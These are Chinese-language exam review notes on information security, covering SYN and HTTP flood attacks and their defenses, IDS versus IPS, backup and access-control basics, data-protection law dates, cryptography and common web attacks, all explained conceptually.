SYN Flood 是流量型的代表,针对 TCP 三次握手。攻击者大量发 SYN 包但不回第三次握手的 ACK,服务器为每个半开连接分配资源等待,资源耗尽后正常连接进不来。原理是利用 TCP 协议的设计:服务器收到 SYN 后会分配 TCB(传输控制块)等客户端的 ACK,等一段时间(几十秒)才超时释放,攻击者只要持续发 SYN,半开连接队列就满了。防御靠 SYN Cookie(服务器不分配资源,把信息编码到返回的 SYN-ACK 序号里,等真正收到 ACK 才建立连接)。

HTTP Flood 是应用型的代表,针对 HTTP 应用层。攻击者控制大量肉鸡发送看起来正常的 HTTP 请求(比如疯狂访问搜索接口、登录接口),每个请求都要服务器消耗 CPU 和数据库资源去处理。和 SYN Flood 不同,HTTP Flood 的连接是完整建立的,攻击的是应用逻辑而不是协议栈。防御靠行为分析(识别异常请求模式)、验证码(让人工验证挡住自动化)、限流(单 IP 限流)、Web 应用防火墙(WAF)。

一个简单类比:SYN Flood 像一群人挤在餐厅门口不进不退堵住门;HTTP Flood 像一群人进餐厅点了最贵的菜又说要换,把服务员耗死。防御前者靠门禁(SYN Cookie),防御后者靠识别捣乱的人(行为分析、验证码)。

安全防护措施一览

安全防护措施:防火墙(在网络边界过滤流量,按规则放行或拦截数据包)、入侵检测系统 IDS(只检测报警,不阻断)/入侵防御系统 IPS(检测并阻断,串联在网络里实时拦截)、VPN(加密隧道,在不安全网络上建安全通道)、最小权限原则(每个账号只给最小必需权限)、多因素认证 MFA(密码 + 短信验证码 + 指纹等多重验证)、数据备份(3-2-1 备份原则:3 份数据、2 种介质、1 份异地)、安全审计日志(记录关键操作便于追溯)。

IDS 和 IPS 的区别是重点知识:IDS 只”看”和”喊”,旁路部署,发现攻击报警但不阻止;IPS 既”看”又”拦”,串联部署,发现攻击实时阻断。记口诀:”IDS 旁路只报警、IPS 串联能阻断”。


伦理安全重点回顾

GDPR 2018 年 5 月 25 日施行;个人信息保护法 2021 年 11 月 1 日施行;数据安全法 2021 年 9 月 1 日施行;网络安全法 2017 年 6 月 1 日施行;等保 2.0 标准号 GB/T 22239-2019,2019 年 12 月 1 日实施。这五个日期最容易混,单独记牢。GDPR 关键权利:被遗忘权(删除权)、数据可携带权、反对画像权、自动决策要人工介入。个保法的敏感个人信息包括生物识别、宗教信仰、特定身份、医疗健康、金融账户、行踪轨迹、不满 14 周岁未成年人信息,处理要单独同意。三部法对比:网安法管基础设施、数安法管数据对象、个保法管个人信息权益;等保五级”一自主、二指导、三监督、四强制、五专控”,三级每年测一次、四级每半年一次;”一个中心三重防护”是安全管理中心加通信网络、区域边界、计算环境三层。知识产权:专利要申请(发明 20 实用 10 外观 15,自申请日)、著作权自动取得(终生加 50)、商标要注册(10 年可无限续展)。

对称加密快但密钥分发难(AES 是分组密码、块 128 位、密钥 128/192/256),非对称加密慢但解决分发(RSA 基于大数分解);数字签名是私钥对摘要加密签、公钥解密验,发送方用私钥签、接收方用公钥验;哈希单向不可逆用于完整性,MD5 已不推荐、SHA-256 是数字签名首选。SQL 注入是输入拼进 SQL(参数化查询防御),XSS 是脚本注入网页在浏览器执行(输出转义防御),CSRF 是借登录态发请求(Token 防御),中间人攻击是夹在双方中间窃听篡改(HTTPS 靠证书防御)——四个攻击原理各一句话别混。CIA 三要素:机密性防偷看(加密访问控制)、完整性防篡改(哈希数字签名)、可用性防打瘫(备份容灾)。差分隐私加噪声保护个体,ε 越小越隐私;联邦学习数据不动模型动,客户端算梯度中央聚合。IDS 只报警、IPS 串联能阻断,3-2-1 备份原则是 3 份数据 2 种介质 1 份异地。